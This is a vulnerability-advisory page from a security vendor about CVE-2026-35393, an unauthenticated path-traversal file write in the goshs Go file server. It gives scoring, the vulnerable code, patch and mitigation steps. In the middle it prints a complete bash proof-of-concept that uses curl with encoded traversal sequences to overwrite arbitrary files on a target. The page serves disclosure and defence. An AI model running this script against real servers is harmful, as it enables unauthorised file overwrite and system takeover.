Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-35393 goshs

CRITICAL

CVE-2026-35393 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. A fix is available for github.com/patrickhener/goshs — see the affected versions and patch details below.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload

Also known asGHSA-jg56-wf8x-qrv5GO-2026-5468
Published
Apr 6, 2026
Updated
Aug 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35393.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-35393 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/patrickhener/goshs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

  • POST multipart upload directory not sanitized | httpserver/updown.go:71-174

This finding affect the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:71-174 Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))

The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:

upath := req.URL.Path                              // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]         // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized

finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)

The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).

Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.

PoCs:

#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can


Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/patrickhener/goshsall versions1.1.5-0.20260401172448-237f3af891a9go get github.com/patrickhener/goshs@v1.1.5-0.20260401172448-237f3af891a9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35393 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35393 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-35393. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary * POST multipart upload directory not sanitized | `httpserver/updown.go:71-174` This finding affect the default configuration, no flags or authentication required. ### Details **File:** `httpserver/updown.go:71-174` **Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, "/upload")`) The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized: ```go upath := req.URL.Path // unsanitized targetpath := strings.Split(upath, "/") targetpath = targetpath[:len(target
O3 Security · Impact-Aware SCA

Is CVE-2026-35393 in your dependencies?

O3 Security finds CVE-2026-35393 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-35393: goshs (Critical 9.8) | O3 Security